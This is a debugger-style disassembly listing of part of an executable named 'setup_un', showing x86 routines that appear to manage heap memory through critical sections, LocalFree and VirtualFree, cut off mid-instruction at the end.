00401925   .  8BEC          MOV EBP,ESP
00401927   .  53            PUSH EBX
00401928   .  803D ACF54000>CMP BYTE PTR DS:[40F5AC],0
0040192F   .  0F84 CC000000 JE setup_un.00401A01
00401935   .  33D2          XOR EDX,EDX
00401937   .  55            PUSH EBP
00401938   .  68 FA194000   PUSH setup_un.004019FA
0040193D   .  64:FF32       PUSH DWORD PTR FS:[EDX]
00401940   .  64:8922       MOV DWORD PTR FS:[EDX],ESP
00401943   .  803D 35F04000>CMP BYTE PTR DS:[40F035],0
0040194A   .  74 0A         JE SHORT setup_un.00401956
0040194C   .  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
00401951   .  E8 66F8FFFF   CALL <JMP.&kernel32.EnterCriticalSection>; \EnterCriticalSection
00401956   >  C605 ACF54000>MOV BYTE PTR DS:[40F5AC],0
0040195D   .  A1 0CF64000   MOV EAX,DWORD PTR DS:[40F60C]
00401962   .  50            PUSH EAX                                 ; /hMemory => NULL
00401963   .  E8 34F8FFFF   CALL <JMP.&kernel32.LocalFree>           ; \LocalFree
00401968   .  33C0          XOR EAX,EAX
0040196A   .  A3 0CF64000   MOV DWORD PTR DS:[40F60C],EAX
0040196F   .  8B1D D4F54000 MOV EBX,DWORD PTR DS:[40F5D4]
00401975   .  EB 12         JMP SHORT setup_un.00401989
00401977   >  68 00800000   PUSH 8000                                ; /FreeType = MEM_RELEASE
0040197C   .  6A 00         PUSH 0                                   ; |Size = 0
0040197E   .  8B43 08       MOV EAX,DWORD PTR DS:[EBX+8]             ; |
00401981   .  50            PUSH EAX                                 ; |Address
00401982   .  E8 25F8FFFF   CALL <JMP.&kernel32.VirtualFree>         ; \VirtualFree
00401987   .  8B1B          MOV EBX,DWORD PTR DS:[EBX]
00401989   >  81FB D4F54000 CMP EBX,setup_un.0040F5D4
0040198F   .^ 75 E6         JNZ SHORT setup_un.00401977
00401991   .  B8 D4F54000   MOV EAX,setup_un.0040F5D4
00401996   .  E8 89F8FFFF   CALL setup_un.00401224
0040199B   .  B8 E4F54000   MOV EAX,setup_un.0040F5E4
004019A0   .  E8 7FF8FFFF   CALL setup_un.00401224
004019A5   .  B8 10F64000   MOV EAX,setup_un.0040F610
004019AA   .  E8 75F8FFFF   CALL setup_un.00401224
004019AF   .  A1 CCF54000   MOV EAX,DWORD PTR DS:[40F5CC]
004019B4   .  85C0          TEST EAX,EAX
004019B6   .  74 17         JE SHORT setup_un.004019CF
004019B8   >  8B10          MOV EDX,DWORD PTR DS:[EAX]
004019BA   .  8915 CCF54000 MOV DWORD PTR DS:[40F5CC],EDX
004019C0   .  50            PUSH EAX                                 ; /hMemory
004019C1   .  E8 D6F7FFFF   CALL <JMP.&kernel32.LocalFree>           ; \LocalFree
004019C6   .  A1 CCF54000   MOV EAX,DWORD PTR DS:[40F5CC]
004019CB   .  85C0          TEST EAX,EAX
004019CD   .^ 75 E9         JNZ SHORT setup_un.004019B8
004019CF   >  33C0          XOR EAX,EAX
004019D1   .  5A            POP EDX
004019D2   .  59            POP ECX
004019D3   .  59            POP ECX
004019D4   .  64:8910       MOV DWORD PTR FS:[EAX],EDX
004019D7   .  68 011A4000   PUSH setup_un.00401A01
004019DC   >  803D 35F04000>CMP BYTE PTR DS:[40F035],0
004019E3   .  74 0A         JE SHORT setup_un.004019EF
004019E5   .  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
004019EA   .  E8 D5F7FFFF   CALL <JMP.&kernel32.LeaveCriticalSection>; \LeaveCriticalSection
004019EF   >  68 B4F54000   PUSH setup_un.0040F5B4                   ; /pCriticalSection = setup_un.0040F5B4
004019F4   .  E8 D3F7FFFF   CALL <JMP.&kernel32.DeleteCriticalSectio>; \DeleteCriticalSection
004019F9   .  C3            RETN
004019FA   .  E9 651C0000   JMP setup_un.00403664
004019FF   .^ EB DB         JMP SHORT setup_un.004019DC
00401A01   >  5B            POP EBX
00401A02   .  5D            POP EBP
00401A03   .  C3            RETN
00401A04  /$  53            PUSH EBX
00401A05  |.  3B05 00F64000 CMP EAX,DWORD PTR DS:[40F600]
00401A0B  |.  75 09         JNZ SHORT setup_un.00401A16
00401A0D  |.  8B50 04       MOV EDX,DWORD PTR DS:[EAX+4]
00401A10  |.  8915 00F64000 MOV DWORD PTR DS:[40F600],EDX
00401A16  |>  8B50 04       MOV EDX,DWORD PTR DS:[EAX+4]
00401A19  |.  8B48 08       MOV ECX,DWORD PTR DS:[EAX+8]
00401A1C  |.  81F9 00100000 CMP ECX,1000
00401A22  |.  7F 38         JG SHORT setup_un.00401A5C
00401A24  |.  3BC2          CMP EAX,EDX
00401A26  |.  75 17         JNZ SHORT setup_un.00401A3F
00401A28  |.  85C9          TEST ECX,ECX
00401A2A  |.  79 03         JNS SHORT setup_un.00401A2F
00401A2C  |.  83C1 03       ADD ECX,3
00401A2F  |>  C1F9 02       SAR ECX,2
00401A32  |.  A1 0CF64000   MOV EAX,DWORD PTR DS:[40F60C]
00401A37  |.  33D2          XOR EDX,EDX
00401A39  |.  895488 F4     MOV DWORD PTR DS:[EAX+ECX*4-C],EDX
00401A3D  |.  EB 24         JMP SHORT setup_un.00401A63
00401A3F  |>  85C9          TEST ECX,ECX
00401A41  |.  79 03         JNS SHORT setup_un.00401A46
00401A43  |.  83C1 03       ADD ECX,3
00401A46  |>  C1F9 02       SAR ECX,2
00401A49  |.  8B1D 0CF64000 MOV EBX,DWORD PTR DS:[40F60C]
00401A4F  |.  89548B F4     MOV DWORD PTR DS:[EBX+ECX*4-C],EDX
00401A53  |.  8B00          MOV EAX,DWORD PTR DS:[EAX]
00401A55  |.  8902          MOV DWORD PTR DS:[EDX],EAX
00401A57  |.  8950 04       MOV DWORD PTR DS:[EAX+4],EDX
00401A5A  |.  5B            POP EBX
00401A5B  |.  C3            RETN
00401A5C  |>  8B00          MOV EAX,DWORD PTR DS:[EAX]
00401A5E  |.  8902          MOV DWORD PTR DS:[EDX],EAX
00401A60  |.  8950 04       MOV DWORD PTR DS:[EAX+4],EDX
00401A63  |>  5B            POP EBX
00401A64  \.  C3            RETN
00401A65      8D40 00       LEA EAX,DWORD PTR DS:[EAX]
00401A68  /$  8B15 10F64000 MOV EDX,DWORD PTR DS:[40F610]
00401A6E  |.  EB 10         JMP SHORT setup_un.00401A80
00401A70  |>  8B4A 08       /MOV ECX,DWORD PTR DS:[EDX+8]
00401A73  |.  3BC1          |CMP EAX,ECX
00401A75  |.  72 07         |JB SHORT setup_un.00401A7E
00401A77  |.  034A 0C       |ADD ECX,DWORD PTR DS:[EDX+C]
00401A7A  |.  3BC1          |CMP EAX,ECX
00401A7C  |.  72 16         |JB SHORT setup_un.00401A94
00401A7E  |>  8B12          |MOV EDX,DWORD PTR DS:[EDX]
00401A80  |>  81FA 10F64000  CMP EDX,setup_un.0040F610
00401A86  |.^ 75 E8         \JNZ SHORT setup_un.00401A70
00401A88  |.  C705 B0F54000>MOV DWORD PTR DS:[40F5B0],3
00401A92  |.  33D2          XOR EDX,EDX
00401A94  |>  8BC2          MOV EAX,EDX
00401A96  \.  C3            RETN
00401A97      90            NOP
00401A98  /$  53            PUSH EBX
00401A99  |.  8BCA          MOV ECX,EDX
00401A9B  |.  83E9 04       SUB ECX,4
00401A9E  |.  8D1C01        LEA EBX,DWORD PTR DS:[ECX+EAX]
00401AA1  |.  83FA 10       CMP EDX,10
00401AA4  |.  7C 0F         JL SHORT setup_un.00401AB5
00401AA6  |.  C703 07000080 MOV DWORD PTR DS:[EBX],80000007
00401AAC  |.  8BD1          MOV EDX,ECX
00401AAE  |.  E8 B9010000   CALL setup_un.00401C6C
00401AB3  |.  5B            POP EBX
00401AB4  |.  C3            RETN
00401AB5  |>  83FA 04       CMP EDX,4
00401AB8  |.  7C 0C         JL SHORT setup_un.00401AC6
00401ABA  |.  8BCA          MOV ECX,EDX
00401ABC  |.  81C9 02000080 OR ECX,80000002
00401AC2  |.  8908          MOV DWORD PTR DS:[EAX],ECX
00401AC4  |.  890B          MOV DWORD PTR DS:[EBX],ECX
00401AC6  |>  5B            POP EBX
00401AC7  \.  C3            RETN
00401AC8  /$  FF05 9CF54000 INC DWORD PTR DS:[40F59C]
00401ACE  |.  8BD0          MOV EDX,EAX
00401AD0  |.  83EA 04       SUB EDX,4
00401AD3  |.  8B12          MOV EDX,DWORD PTR DS:[EDX]
00401AD5  |.  81E2 FCFFFF7F AND EDX,7FFFFFFC
00401ADB  |.  83EA 04       SUB EDX,4
00401ADE  |.  0115 A0F54000 ADD DWORD PTR DS:[40F5A0],EDX
00401AE4  |.  E8 F3050000   CALL setup_un.004020DC
00401AE9  \.  C3            RETN
00401AEA      8BC0          MOV EAX,EAX
00401AEC  /$  83FA 0C       CMP EDX,0C
00401AEF  |.  7C 0E         JL SHORT setup_un.00401AFF
00401AF1  |.  83CA 02       OR EDX,2
00401AF4  |.  8910          MOV DWORD PTR DS:[EAX],EDX
00401AF6  |.  83C0 04       ADD EAX,4
00401AF9  |.  E8 CAFFFFFF   CALL setup_un.00401AC8
00401AFE  |.  C3            RETN
00401AFF  |>  83FA 04       CMP EDX,4
00401B02  |.  7C 0A         JL SHORT setup_un.00401B0E
00401B04  |.  8BCA          MOV ECX,EDX
00401B06  |.  81C9 02000080 OR ECX,80000002
00401B0C  |.  8908          MOV DWORD PTR DS:[EAX],ECX
00401B0E  |>  03C2          ADD EAX,EDX
00401B10  |.  8320 FE       AND DWORD PTR DS:[EAX],FFFFFFFE
00401B13  \.  C3            RETN
00401B14  /$  53            PUSH EBX
00401B15  |.  56            PUSH ESI
00401B16  |.  8BD0          MOV EDX,EAX
00401B18  |.  83EA 04       SUB EDX,4
00401B1B  |.  8B12          MOV EDX,DWORD PTR DS:[EDX]
00401B1D  |.  8BCA          MOV ECX,EDX
00401B1F  |.  81E1 02000080 AND ECX,80000002
00401B25  |.  81F9 02000080 CMP ECX,80000002
00401B2B  |.  74 0A         JE SHORT setup_un.00401B37
00401B2D  |.  C705 B0F54000>MOV DWORD PTR DS:[40F5B0],4
00401B37  |>  8BDA          MOV EBX,EDX
00401B39  |.  81E3 FCFFFF7F AND EBX,7FFFFFFC
00401B3F  |.  2BC3          SUB EAX,EBX
00401B41  |.  8BC8          MOV ECX,EAX
00401B43  |.  3311          XOR EDX,DWORD PTR DS:[ECX]
00401B45  |.  F7C2 FEFFFFFF TEST EDX,FFFFFFFE
00401B4B  |.  74 0A         JE SHORT setup_un.00401B57
00401B4D  |.  C705 B0F54000>MOV DWORD PTR DS:[40F5B0],5
00401B57  |>  F601 01       TEST BYTE PTR DS:[ECX],1
00401B5A  |.  74 20         JE SHORT setup_un.00401B7C
00401B5C  |.  8BD0          MOV EDX,EAX
00401B5E  |.  83EA 0C       SUB EDX,0C
00401B61  |.  8B72 08       MOV ESI,DWORD PTR DS:[EDX+8]
00401B64  |.  2BC6          SUB EAX,ESI
00401B66&nb